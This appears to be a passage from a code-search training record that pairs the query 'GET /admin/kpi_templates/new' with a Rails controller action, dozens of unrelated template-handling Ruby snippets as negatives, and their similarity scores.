data['id'].to_i\n host_template.name = data['name']\n templates << host_template\n end\n\n templates\n end", "def templates; end", "def index\n @templates = Template.all\n end", "def index\n @templates = Template.all\n end", "def index\n @templates = Template.all\n end", "def editor_templates (type, uuid)\n res = http_get(:uri=>\"/editor/#{type}/templates/#{uuid}\", :fields=>x_cookie)\n end", "def possible_templates\n\t\tif !params[:funder].nil? && params[:funder] != \"\" && params[:funder] != \"undefined\" then\n\t\t\tfunder = Organisation.find(params[:funder])\n\t\telse\n\t\t\tfunder = nil\n\t\tend\n\t\tif !params[:institution].nil? && params[:institution] != \"\" && params[:institution] != \"undefined\" then\n\t\t\tinstitution = Organisation.find(params[:institution])\n\t\telse\n\t\t\tinstitution = nil\n\t\tend\n\t\ttemplates = {}\n\t\tunless funder.nil? then\n\t\t\tfunder.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\tend\n\t\tif templates.count == 0 && !institution.nil? then\n\t\t\tinstitution.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\t\tinstitution.children.each do |o|\n\t\t\t\to.published_templates.each do |t|\n\t\t\t\t\ttemplates[t.id] = t.title\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: templates.to_json }\n\t\tend\n\tend", "def index\n @request_templates = RequestTemplate.all\n end", "def show\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_kpi_category_template }\n end\n end", "def virtual_machine_templates\n kubevirt_client.get_virtual_machine_templates(namespace: @namespace)\n end", "def templates\n @templates ||= EbanqApi::Templates.new(self)\n end", "def templates\n state(metrics: \"metadata\").dig(\"metadata\", \"templates\")\n end", "def index\n @question_templates = QuestionTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_templates }\n end\n end", "def index\n @my_templates = MyTemplate.all\n end", "def index\n @product_templates = ProductTemplate.all\n end", "def get_course_templates_schema\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/schema\"\n _get(path)\n # This action returns a JSON array of SchemaElement blocks.\nend", "def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end", "def create\n @admin_kpi_template = Admin::KpiTemplate.new(params[:admin_kpi_template])\n\n respond_to do |format|\n if @admin_kpi_template.save\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully created.' }\n format.json { render json: @admin_kpi_template, status: :created, location: @admin_kpi_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n authorize! :manage, :all\n @question_templates = QuestionTemplate.all\n end", "def index\n @templates = Template.all\n @curr_template = session[:template]\n @is_admin = is_admin\n end", "def templates\n\n add_breadcrumb \"Download Template\"\n\n @message = \"Creating inventory template. This process might take a while.\"\n\n end", "def show\n @admin_template = Template.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_template }\n end\n end", "def templates\n GitWiki.template_cache ||= Dir[\"#{ settings.views[0] }/*.liquid\"].map do |f|\n name = File.basename(f, '.liquid')\n {\n \"name\" => name,\n \"examples\" => Page.get_template(name).examples\n }\n end\n end", "def tbu_list\n @client.make_request :get, templates_path('tbu')\n end", "def templates\n file_list '{templates,puppet}/**/*.{erb,epp}'\n end", "def template_path\n Jets::Naming.api_gateway_template_path\n end", "def template_path\n Jets::Naming.api_gateway_template_path\n end", "def owt_list\n @client.make_request :get, templates_path('owt')\n end", "def index\n @policy_templates = PolicyTemplate.all\n end", "def supported_templates\n [\n double_opt_in_template,\n admin_forgot_password_template,\n user_forgot_password_template,\n kyc_issue_template,\n admin_invite_template,\n test_webhook_result_template,\n\n # kyc_data_mismatch_template,\n # kyc_document_id_issue_template,\n # kyc_selfie_image_issue_template,\n # kyc_residency_image_issue_template,\n\n kyc_approved_template,\n kyc_denied_template,\n purchase_confirmation,\n altdrop_sent,\n contact_us_template,\n low_whitelister_balance_template,\n manual_review_needed_template,\n billing_plan_notification_template,\n update_ethereum_request_outcome_template,\n open_case_request_outcome_template,\n contact_us_ost_partner_autoresponder_template,\n contact_us_ost_kyc_autoresponder_template,\n kyc_report_download_template,\n low_balance_whitelisting_suspended_template,\n contract_address_update_template\n ]\n end", "def index\n @item_templates = ItemTemplate.all\n end", "def templates\n wayfinder.decorated_templates\n end", "def index\n @templates = EmailTemplate.all\n end", "def index\n @doc_templates = DocTemplate.all\n end", "def templates\n @templates ||= (\n list = []\n list.concat templates_from_project\n list.concat templates_from_remotes\n list.concat templates_from_plugins\n list.sort_by{ |t| t.name }\n )\n end", "def templates\n @templates ||= TemplateFinder.new(path, types)\n end", "def index\n authorize @organization, :show_templates?\n @survey_templates = @organization.survey_templates\n end", "def index\n @form_templates = FormTemplate.all\n end", "def guardian_sms_templates\n path = \"#{guardian_factors_path}/sms/templates\"\n get(path)\n end", "def get_all_course_templates\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/6606/descendants/?ouTypeId=2\"\n _get(path)\n # return: JSON array of course template data objects\nend", "def template(name)\n @conn.templates.get(name)\n end", "def templates_path\n File.join(root, TEMPLATES)\n end", "def index\n @question_templates = QuestionTemplate.all\n end", "def index\n @node_templates = NodeTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @node_templates }\n end\n end", "def index\n @induction_templates = InductionTemplate.all\n end", "def index\n authorize Template\n templates = Template.latest_version.where(customization_of: nil)\n published = templates.count { |t| t.published? || t.draft? }\n\n @orgs = Org.includes(identifiers: :identifier_scheme).managed\n @title = _('All Templates')\n @templates = templates.includes(:org).page(1)\n @query_params = { sort_field: 'templates.title', sort_direction: 'asc' }\n @all_count = templates.length\n @published_count = (published.presence || 0)\n @unpublished_count = if published.present?\n (templates.length - published)\n else\n templates.length\n end\n render :index\n end", "def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end", "def text_templates\n Easybill::Api::TextTemplates\n end", "def index\n @form_templates = FormTemplate.where(:is_current => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @form_templates }\n end\n end", "def index\n redirect_to root_path unless ViewTemplate.new(current_merchant_user, current_admin).check\n @templates = Template.all\n end", "def index\n @templates = Template.includes(:template_elements).all\n end", "def show\n redirect_to edit_request_path(@request) if current_user.admin? && @request.pending?\n @request_templates = RequestTemplate.all\n end", "def index\n if params[:name]\n @template = Template.find_by_name(params[:name])\n if @template\n respond_ok \"template\", @template\n else\n respond_err \"template\", Template.new, \"i18> No template found\"\n end\n else\n @templates = Template.all\n if [email protected]?\n respond_ok \"template\", @templates\n else\n respond_err \"template\", @templates, \"i18> No template found\"\n end\n end\n end", "def new\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_category_template }\n end\n end", "def template_map\n return TEMPLATE_MAP\n end", "def get_templates(type)\n Dir[get_template_location << type << '/*']\n end", "def templates\n @instruments_templates ||= lambda do\n args = ['xctrace', 'list', 'templates']\n\n hash = xcrun.run_command_in_context(args, log_cmd: true)\n hash[:out].chomp.split(\"\\n\").map do |elm|\n stripped = elm.strip.tr('\"', '')\n if stripped == '' || stripped == 'Known Templates:'\n nil\n else\n stripped\n end\n end.compact\n end.call\n end", "def cft_list\n @client.make_request :get, templates_path('cft')\n end", "def index\n @lcb_templates = LcbTemplate.all\n end", "def show\n @admin_template_software = TemplateSoftware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_template_software }\n end\n end", "def index\n @template = Template.find(params[:template_id])\n @template_parameters = TemplateParameter.where(template_id: params[:template_id])\n end", "def index\n @templates = Template.all\n\n \n\n\n @templates.each do |template|\n\n if template.templateVersion.nil?\n\n logger.info \"NIL VERSION: \" + template.id.to_s\n else\n logger.info \"VERSION: \" + template.templateVersion.to_s\n end\n\n template.fields = template.getFieldsNames.join(\",\");\n\n\n end\n end", "def index\n @email_templates = EmailTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_templates }\n end\n end", "def plugin_templates(type: :export)\n type = valid_type(type)\n templates = []\n plugs = plugins[type].clone\n plugs.delete_if { |_t, o| o[:templates].nil? }.each do |_, options|\n options[:templates].each do |t|\n out = t[:name]\n out += \" (#{t[:format]})\" if t.key?(:format)\n templates << out\n end\n end\n\n templates.sort.uniq\n end", "def index\n @post_templates = PostTemplate.all\n end", "def index\n @admin_template_softwares = TemplateSoftware.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_template_software_types }\n end\n end", "def templates\n Dir.glob(File.join(gem_path, 'templates', '*'))\n end", "def index\n @templates = Template.order(:name).page params[:page]\n end", "def generate_from_templates\r\n %w{package.json _config.yml}.each do |file|\r\n template file\r\n end\r\n end", "def template_path\n File.join path, 'templates'\n end", "def index\n @templates = @firm.templates\n @template = Template.new\n end", "def index\n @survey_item_templates = SurveyItemTemplate.all\n end" ]
[ "0.7611544", "0.74329525", "0.74214125", "0.73192745", "0.7282916", "0.7195353", "0.70129025", "0.6780964", "0.6774948", "0.6719718", "0.6708284", "0.66698945", "0.66660786", "0.6650021", "0.6640807", "0.6623894", "0.66063", "0.66053903", "0.65864986", "0.65860796", "0.65493006", "0.65421385", "0.6535559", "0.6515916", "0.64874476", "0.647748", "0.64557546", "0.64462113", "0.64319587", "0.64259356", "0.6405063", "0.6405063", "0.6405063", "0.63954145", "0.6387352", "0.63872105", "0.63814604", "0.63627905", "0.6351376", "0.6344678", "0.63418853", "0.6330667", "0.63206786", "0.62912697", "0.62906545", "0.62708175", "0.623567", "0.6217946", "0.6200523", "0.6195804", "0.619201", "0.618", "0.61745995", "0.61600304", "0.61600304", "0.6159887", "0.6135621", "0.61226434", "0.60650766", "0.6062969", "0.6054441", "0.6048519", "0.6043946", "0.6043845", "0.604202", "0.6035536", "0.6029304", "0.6010634", "0.60103697", "0.59957653", "0.5990752", "0.5984123", "0.59825826", "0.5979972", "0.59794784", "0.59751415", "0.59701085", "0.5969014", "0.5932627", "0.59252834", "0.59244317", "0.5913936", "0.5909718", "0.5904845", "0.5898124", "0.588647", "0.58855313", "0.58800083", "0.58796227", "0.5874423", "0.58717537", "0.58715737", "0.5867385", "0.5856963", "0.58493775", "0.584727", "0.58433795", "0.5838352", "0.5834862", "0.58345824" ]
0.72008324
5
GET /admin/kpi_templates/1 GET /admin/kpi_templates/1.json
def show @admin_kpi_template = Admin::KpiTemplate.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @admin_kpi_template } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end", "def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end", "def index\n @admin_kpi_templates = Admin::KpiTemplate.paginate(:page=>params[:page],:per_page=>20)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_kpi_templates }\n end\n end", "def list\n @client.call(method: :get, path: 'templates')\n end", "def list\n @client.make_request :get, templates_path\n end", "def get_job_templates\n dprint \"get /api/v1/job_templates\"\n resp = @rest['/api/v1/job_templates'].get\n dprint resp\n # ruby's implicit return\n JSON.parse(resp)[\"results\"]\n end", "def new\n @admin_kpi_template = Admin::KpiTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end", "def index\n @admin_templates = Template.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_templates }\n end\n end", "def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end", "def details\n response = get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end", "def details\n response = CreateSend.get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end", "def show\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_kpi_category_template }\n end\n end", "def show\n @admin_template = Template.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_template }\n end\n end", "def index\n @templates = Template.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @templates }\n end\n end", "def get_policy_templates\n @command = :get_policy_templates\n # get the policy templates from the RESTful API (as an array of objects)\n uri = URI.parse @uri_string + '/templates'\n result = hnl_http_get(uri)\n unless result.blank?\n # convert it to a sorted array of objects (from an array of hashes)\n sort_fieldname = 'template'\n result = hash_array_to_obj_array(expand_response_with_uris(result), sort_fieldname)\n end\n # and print the result\n print_object_array(result, \"Policy Templates:\", :style => :table)\n end", "def index\n # Retrieve kpis templates from impac api.\n # TODO: improve request params to work for strong parameters\n attrs = params.slice('metadata', 'opts')\n auth = { username: MnoEnterprise.tenant_id, password: MnoEnterprise.tenant_key }\n\n response = begin\n MnoEnterprise::ImpacClient.send_get('/api/v2/kpis', attrs, basic_auth: auth)\n rescue => e\n return render json: { message: \"Unable to retrieve kpis from Impac API | Error #{e}\" }\n end\n\n # customise available kpis\n kpis = (response['kpis'] || []).map do |kpi|\n kpi = kpi.with_indifferent_access\n kpi[:watchables].map do |watchable|\n kpi.merge(\n name: \"#{kpi[:name]} #{watchable.capitalize unless kpi[:name].downcase.index(watchable)}\".strip,\n watchables: [watchable],\n target_placeholders: {watchable => kpi[:target_placeholders][watchable]},\n )\n end\n end\n .flatten\n\n render json: { kpis: kpis }\n end", "def templates(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Templates\", params: params)\n end", "def index\n @templates = Spree::Template.all\n end", "def list_templates(type)\n res = http_get(:uri=>\"/editor/#{type}/templates\", :fields=>x_cookie)\n end", "def get_driver_templates\n @client.raw('get', '/content/email-templates/driver/templates')\n end", "def config_templates\r\n ConfigTemplatesController.instance\r\n end", "def index\n @templates = ::Template.all\n end", "def retrieve_all_template_info\n puts \"Retrieving all template ids and names for #{@primary_username} ...\"\n puts\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n templates = JSON.parse( response.body )\n\n # Create template_id array\n @template_array = Array.new\n\n # Create a template hash w/ name and id for each template found\n templates['templates'].each do |t|\n @template_array.push({:id => t['id'], :name => t['name']})\n end\n\n # Return constructed temmplate array\n return template_array\n end", "def get_templates(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n r = @client.post({\n 'action' => 'gettemplate',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n\n templates = []\n JSON.parse(r)['result'].each do |data|\n host_template = ::Centreon::HostTemplate.new\n host_template.id = data['id'].to_i\n host_template.name = data['name']\n templates << host_template\n end\n\n templates\n end", "def create\n @admin_kpi_template = Admin::KpiTemplate.new(params[:admin_kpi_template])\n\n respond_to do |format|\n if @admin_kpi_template.save\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully created.' }\n format.json { render json: @admin_kpi_template, status: :created, location: @admin_kpi_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def templates_path\n @templates_path\n end", "def show\n respond_ok \"template\", @templates\n end", "def index\n @templates = Template.all\n end", "def index\n @templates = Template.all\n end", "def index\n @templates = Template.all\n end", "def list_templates(args = {})\n filter = args[:filter] || 'featured'\n params = {\n 'command' => 'listTemplates',\n 'templateFilter' => filter\n }\n params['projectid'] = args[:project_id] if args[:project_id]\n params['zoneid'] = args[:zone_id] if args[:zone_id]\n \n json = send_request(params)\n json['template'] || []\n end", "def get_templates(opts={})\n path = '/template/list'\n opts[:query] = create_search_string(opts[:query]) if opts[:query]\n query = create_query_string(opts, [:page, :page_size, :query])\n path += query\n HelloSign::Resource::ResourceArray.new get(path, opts), 'templates', HelloSign::Resource::Template\n end", "def template_path\n Jets::Naming.api_gateway_template_path\n end", "def template_path\n Jets::Naming.api_gateway_template_path\n end", "def templates\n @conn.templates\n end", "def get_templates(limit = 100, offset = 0)\n params = { :limit => limit, :offset => offset }\n\n request :get, \"/v3/templates.json\", params\n end", "def index\n @my_templates = MyTemplate.all\n end", "def index\n @request_templates = RequestTemplate.all\n end", "def index\n @product_templates = ProductTemplate.all\n end", "def editor_templates (type, uuid)\n res = http_get(:uri=>\"/editor/#{type}/templates/#{uuid}\", :fields=>x_cookie)\n end", "def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end", "def templates\n return self.class.get('/templates').parsed_response.map do |template|\n Template.new(template['template_id'], template['name'])\n end\n end", "def template(name)\n @conn.templates.get(name)\n end", "def show\n @admin_template_software = TemplateSoftware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_template_software }\n end\n end", "def templates; end", "def templates\n\n add_breadcrumb \"Download Template\"\n\n @message = \"Creating inventory template. This process might take a while.\"\n\n end", "def get_course_templates_schema\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/schema\"\n _get(path)\n # This action returns a JSON array of SchemaElement blocks.\nend", "def index\n @question_templates = QuestionTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_templates }\n end\n end", "def index\n @templates = Template.all\n @curr_template = session[:template]\n @is_admin = is_admin\n end", "def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end", "def new\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_category_template }\n end\n end", "def index\n @item_templates = ItemTemplate.all\n end", "def index\n @admin_template_softwares = TemplateSoftware.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_template_software_types }\n end\n end", "def new\n @admin_template = Template.new\n @admin_template.build_template_content\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_template }\n end\n end", "def index\n @policy_templates = PolicyTemplate.all\n end", "def tbu_list\n @client.make_request :get, templates_path('tbu')\n end", "def index\n authorize! :manage, :all\n @question_templates = QuestionTemplate.all\n end", "def index\n if params[:name]\n @template = Template.find_by_name(params[:name])\n if @template\n respond_ok \"template\", @template\n else\n respond_err \"template\", Template.new, \"i18> No template found\"\n end\n else\n @templates = Template.all\n if [email protected]?\n respond_ok \"template\", @templates\n else\n respond_err \"template\", @templates, \"i18> No template found\"\n end\n end\n end", "def possible_templates\n\t\tif !params[:funder].nil? && params[:funder] != \"\" && params[:funder] != \"undefined\" then\n\t\t\tfunder = Organisation.find(params[:funder])\n\t\telse\n\t\t\tfunder = nil\n\t\tend\n\t\tif !params[:institution].nil? && params[:institution] != \"\" && params[:institution] != \"undefined\" then\n\t\t\tinstitution = Organisation.find(params[:institution])\n\t\telse\n\t\t\tinstitution = nil\n\t\tend\n\t\ttemplates = {}\n\t\tunless funder.nil? then\n\t\t\tfunder.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\tend\n\t\tif templates.count == 0 && !institution.nil? then\n\t\t\tinstitution.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\t\tinstitution.children.each do |o|\n\t\t\t\to.published_templates.each do |t|\n\t\t\t\t\ttemplates[t.id] = t.title\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: templates.to_json }\n\t\tend\n\tend", "def virtual_machine_templates\n kubevirt_client.get_virtual_machine_templates(namespace: @namespace)\n end", "def show\n @project_template = ProjectTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_template }\n end\n end", "def templates\n @templates ||= EbanqApi::Templates.new(self)\n end", "def get_content_template(id)\n @client.raw('get', \"/content/templates/#{id}\")\n end", "def index\n @form_templates = FormTemplate.where(:is_current => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @form_templates }\n end\n end", "def get_template\n @template\n end", "def index\n @node_templates = NodeTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @node_templates }\n end\n end", "def retrieve_single_template( template_id )\n puts \"Retrieving template id #{template_id}.\"\n\n uri = URI(@config['endpoint'] + '/' + template_id)\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n template = JSON.parse( response.body )\n end", "def index\n @template = Template.find(params[:template_id])\n @template_parameters = TemplateParameter.where(template_id: params[:template_id])\n end", "def index\n @doc_templates = DocTemplate.all\n end", "def index\n redirect_to root_path unless ViewTemplate.new(current_merchant_user, current_admin).check\n @templates = Template.all\n end", "def owt_list\n @client.make_request :get, templates_path('owt')\n end", "def template_details(template_id)\n @api.get(\"#{@api.path}/List/#{@id}/Templates/#{template_id}\")\n end", "def index\n @induction_templates = InductionTemplate.all\n end", "def index\n @form_templates = FormTemplate.all\n end", "def index\n @templates = Template.all\n\n \n\n\n @templates.each do |template|\n\n if template.templateVersion.nil?\n\n logger.info \"NIL VERSION: \" + template.id.to_s\n else\n logger.info \"VERSION: \" + template.templateVersion.to_s\n end\n\n template.fields = template.getFieldsNames.join(\",\");\n\n\n end\n end", "def templates\n state(metrics: \"metadata\").dig(\"metadata\", \"templates\")\n end", "def index\n @templates = EmailTemplate.all\n end", "def index\n @templates = @firm.templates\n @template = Template.new\n end", "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "def index\n authorize Template\n templates = Template.latest_version.where(customization_of: nil)\n published = templates.count { |t| t.published? || t.draft? }\n\n @orgs = Org.includes(identifiers: :identifier_scheme).managed\n @title = _('All Templates')\n @templates = templates.includes(:org).page(1)\n @query_params = { sort_field: 'templates.title', sort_direction: 'asc' }\n @all_count = templates.length\n @published_count = (published.presence || 0)\n @unpublished_count = if published.present?\n (templates.length - published)\n else\n templates.length\n end\n render :index\n end", "def template\n @template\n end", "def get_all_course_templates\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/6606/descendants/?ouTypeId=2\"\n _get(path)\n # return: JSON array of course template data objects\nend", "def index\n @question_templates = QuestionTemplate.all\n end", "def show\n redirect_to edit_request_path(@request) if current_user.admin? && @request.pending?\n @request_templates = RequestTemplate.all\n end", "def details(type, template_uuid)\n response = @client.get(\"editor/#{type}/templates/#{template_uuid}\")\n verify response,\n forbidden: 'You do not have permission to open the template',\n not_found: 'Template does not exist',\n internal_server_error: 'Internal server error occurred.'\n end", "def show\n @template = Template.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @template }\n end\n end", "def index\n @templates = Template.includes(:template_elements).all\n end", "def index\n @survey_item_templates = SurveyItemTemplate.all\n end", "def new\n @admin_template_software = TemplateSoftware.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_template_software }\n end\n end", "def template_path\n File.join path, 'templates'\n end", "def index\n authorize @organization, :show_templates?\n @survey_templates = @organization.survey_templates\n end", "def index\n @templates = Template.order(:name).page params[:page]\n end", "def selecttemplate\n\t@templates = JobTemplate.all\n end", "def index\n @lcb_templates = LcbTemplate.all\n end", "def templates\n GitWiki.template_cache ||= Dir[\"#{ settings.views[0] }/*.liquid\"].map do |f|\n name = File.basename(f, '.liquid')\n {\n \"name\" => name,\n \"examples\" => Page.get_template(name).examples\n }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @template_package }\n end\n end", "def index\n @email_templates = EmailTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_templates }\n end\n end", "def template_path\n @options[:template_path]\n end", "def index\n @post_templates = PostTemplate.all\n end", "def index\r\n template=params[:survey_template_id]\r\n @survey_template=SurveyTemplate.find(template)\r\n if current_user.is_admin?\r\n @survey_responses = SurveyResponse.where(:survey_template_id=>@survey_template.id)\r\n else\r\n @survey_responses = SurveyResponse.where(:survey_template_id=>@survey_template.id, :user_id => current_user.id)\r\n end\r\n\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @survey_responses }\r\n end\r\n end" ]
[ "0.7437772", "0.72739434", "0.7184176", "0.7163274", "0.7069067", "0.70222825", "0.69964737", "0.6929837", "0.6895858", "0.68114465", "0.6743925", "0.6649605", "0.6595382", "0.6536871", "0.6528256", "0.6518652", "0.6498555", "0.6482097", "0.6478377", "0.64602774", "0.6455248", "0.6436984", "0.64359057", "0.64295536", "0.6427304", "0.64232546", "0.64153594", "0.6402594", "0.6402594", "0.6402594", "0.6392851", "0.6391642", "0.6369538", "0.6369538", "0.63680464", "0.6359264", "0.6353844", "0.63391215", "0.63332075", "0.63244665", "0.6319391", "0.63157403", "0.63106644", "0.6291034", "0.6268779", "0.6259422", "0.62355953", "0.6225081", "0.62217706", "0.62128294", "0.6191983", "0.61306006", "0.6126788", "0.61197096", "0.6112703", "0.6098424", "0.6095587", "0.6087477", "0.60810894", "0.6072573", "0.60605377", "0.6054454", "0.60483104", "0.60457414", "0.6032876", "0.6020672", "0.60161895", "0.6016189", "0.6007717", "0.6000258", "0.59960973", "0.59898436", "0.5988732", "0.5985662", "0.59832406", "0.59630233", "0.59598184", "0.59537745", "0.59536576", "0.5942617", "0.59370095", "0.5921228", "0.5919276", "0.59131557", "0.58798534", "0.58764166", "0.58750224", "0.58723015", "0.5863109", "0.58603454", "0.58593404", "0.5854295", "0.5851485", "0.5848089", "0.58440197", "0.5817853", "0.5817632", "0.58100396", "0.5808033", "0.5786954" ]
0.7289812
1
GET /admin/kpi_templates/new GET /admin/kpi_templates/new.json
def new @admin_kpi_template = Admin::KpiTemplate.new respond_to do |format| format.html # new.html.erb format.json { render json: @admin_kpi_template } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @admin_template = Template.new\n @admin_template.build_template_content\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_template }\n end\n end", "def create\n @admin_kpi_template = Admin::KpiTemplate.new(params[:admin_kpi_template])\n\n respond_to do |format|\n if @admin_kpi_template.save\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully created.' }\n format.json { render json: @admin_kpi_template, status: :created, location: @admin_kpi_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_category_template }\n end\n end", "def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template }\n end\n end", "def new\n @admin_template_software = TemplateSoftware.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_template_software }\n end\n end", "def new\n @project_template = ProjectTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_template }\n end\n end", "def create\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new(params[:admin_kpi_category_template])\n\n respond_to do |format|\n if @admin_kpi_category_template.save\n format.html { redirect_to @admin_kpi_category_template, notice: 'Kpi category template was successfully created.' }\n format.json { render json: @admin_kpi_category_template, status: :created, location: @admin_kpi_category_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_category_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template }\n end\n end", "def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end", "def new\n @template_task = TemplateTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_task }\n end\n end", "def new\n @module_template = ModuleTemplate.new\n\t@module_template.module_parameters.build\n\t@module_template.module_instances.build\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @module_template }\n end\n end", "def create\n @admin_template = Template.new(params[:notice])\n @admin_template.user_id=current_user.id\n\n respond_to do |format|\n if @admin_template.save\n format.html { redirect_to admin_templates_url, notice: '공지사항이 작성되었습니다.' }\n format.json { render json: @admin_template, status: :created, location: @admin_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @page_template = PageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_template }\n end\n end", "def new\n @node_template = NodeTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node_template }\n end\n end", "def new\n @question_template = QuestionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_template }\n end\n end", "def create\n @cv_template = CvTemplate.new(cv_template_params)\n respond_to do |format|\n if @cv_template.save\n current_user.cv_templates << @cv_template\n format.html { redirect_to action: :index, notice: 'Personal info was successfully created.' }\n format.json { render :show, status: :created, location: @cv_template }\n else\n format.html { render :new }\n format.json { render json: @cv_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project_template = ProjectTemplate.new(params[:project_template])\n\n respond_to do 